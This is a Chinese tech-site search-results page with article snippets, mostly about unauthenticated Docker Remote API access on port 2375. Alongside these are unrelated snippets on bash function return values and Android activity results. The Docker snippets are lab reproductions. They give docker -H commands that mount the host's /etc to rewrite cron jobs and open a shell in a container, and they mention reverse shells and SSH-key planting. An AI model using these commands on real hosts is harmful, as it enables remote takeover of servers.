首页
学习
活动
专区
圈层
工具
发布

Docker Daemon API未授权

影响范围 Docker ALL 漏洞类型 未授权访问类 利用条件 影响范围应用 漏洞概述 Docker Remote API是一个取代远程命令行界面(RCLI)的REST API,当该接口直接暴漏在外网环境中且未作权限检查时...,攻击者可以通过恶意调用相关的API实现远程命令执行 漏洞复现 环境搭建 下载环境 mkdir docker cd docker wget https://raw.githubusercontent.com...images Step 3:之后创建一个轻量级镜像 docker -H tcp://192.168.17.140:2375 run -id alpine:latest Step 4:查看运行的容器信息获取对应的容器...192.168.17.140:2375 ps 物理主机 我们可以在创建容器时将物理主机的计划任务目录挂载到容器中的可写目录中,之后通过在容器中对计划任务进行编辑间接性实现对物理主机中计划任务的编辑,从而实现获取物理主机权限的目的...tmp目录下 docker -H tcp://192.168.17.140:2375 run -id -v /etc/:/tmp/etc alpine:latest Step 4:查看运行的容器信息获取对应的容器

1.4K30
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Shell 获取函数的返回值

    目录 前言 获取return返回值 通过echo返回一个任意值 前言 函数可以让我们将一个复杂功能划分成若干模块,让程序结构更加清晰,代码重复利用率更高。 Shell 获取返回值,有两种方式。...获取return返回值 bash函数本身不能是字符串类型,bash函数的最后一句或者中间某句可以是return N,只能返回整数,一般0代表成功,非0意味着失败,你也自己可以规定返回什么值——代表什么意思等等...bash函数中没有return的话,函数中最后一条命令的退出状态码(一般0代表成功,非0意味着失败,127代表命令没找到,command not found)将作为整个函数的返回值。...接收上一程序的返回值状态,也就是return的值 代码(代码可直接copy到shell里测试结果) function foo(){ return 11; } foo result=$?...echo ${result} 通过echo返回一个任意值 在函数最后使用echo打印一个值,在调用该函数的地方,可以通过$(function_name)把结果传给一个新的变量,也就获取了函数的处理结果

    6.3K30

    Docker API未授权命令执行

    Docker Swarm使用标准的Docker API通过2375端口来管理每个Docker节点,Docker API是一个取代远程命令行界面(RCLI)的REST API。...当Docker节点的2375端口直接暴露并未做权限检查时,存在未授权访问漏洞,攻击者可以利用Docker API执行任何操作,包括执行Docker命令,创建、删除Docker以及获得宿主机权限等。...漏洞复现 访问目标的2375端口如下接口,若有信息,则存在Docker API未授权访问 http://x.x.x.x:2375/version http://x.x.x.x:2375/images http...docker -H tcp://10.211.55.18:2375 ps docker -H tcp://10.211.55.18:2375 exec -it e7d97caf249d /bin/bash 获取宿主机权限...我们可以执行如下命令启动一个未开启的容器,然后将宿主机的磁盘挂载到容器中。

    2.9K20

    Docker API未授权漏洞复现

    01 漏洞成因 如果在docker上配置了远程访问,docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制的话,攻击者就可以通过Docker未授权来控制服务器 02 漏洞搭建...所以在这里直接使用脚本利用计划任务来反弹shell 这里尝试一个反弹shell的操作: 其中10.211.55.23是Kali的ip地址 10.211.55.2是docekr的未授权端口 import...05 实战 这里来模拟测试开启Docker API未授权之后,使用密钥登陆受害者机器 5.1 配置Docker支持远程访问 在这里使用我自己的阿里云主机进行测试 首先要配置docker支持远程访问 进行文件备份...在桌面新建了一个ssh的文件夹,将生成的公钥保存在里面 注意在生成的密钥要保存的位置我这里是自定义的,如果不是自定义的话,可以一路回车,自定义的话,第一个要写文件路径,后面的也可以一路回车,然后在.ssh路径下获取文件...5.3 关闭Docker API未授权 将我们的authorized_keys文件删除,将原来的文件复位 rm authorized_keys mv authorized_keys.bak authorized_keys

    4.5K20

    开启新的activity获取他的返回值

    应用场景:打开一个新的activity,在这个activity上获取数据,返回给打开它的界面 短信发送时,可以直接选择系统联系人 界面布局是一个线性布局,里面右侧选择联系人在EditText的右上,因此使用相对布局对输入框进行包裹...name); tv_number.setText(number); return view; }} } ContactInfoService(获取联系人信息...android:textSize="12sp" android:textColor="#80000000"/> 这里开启activity需要用到一个新的api...,startActivityForResult(intent,requestCode),开启一个新的activity并且获取这个activity执行完毕后返回的结果,参数:Intent对象,int类型请求码...传递过来的参数里面有个Intent对象,通过这个Intent对象获取到数据,展示到界面上 给ListView条目设置点击事件,调用ListView对象的setOnItemClickListener(listener

    1.5K40
    领券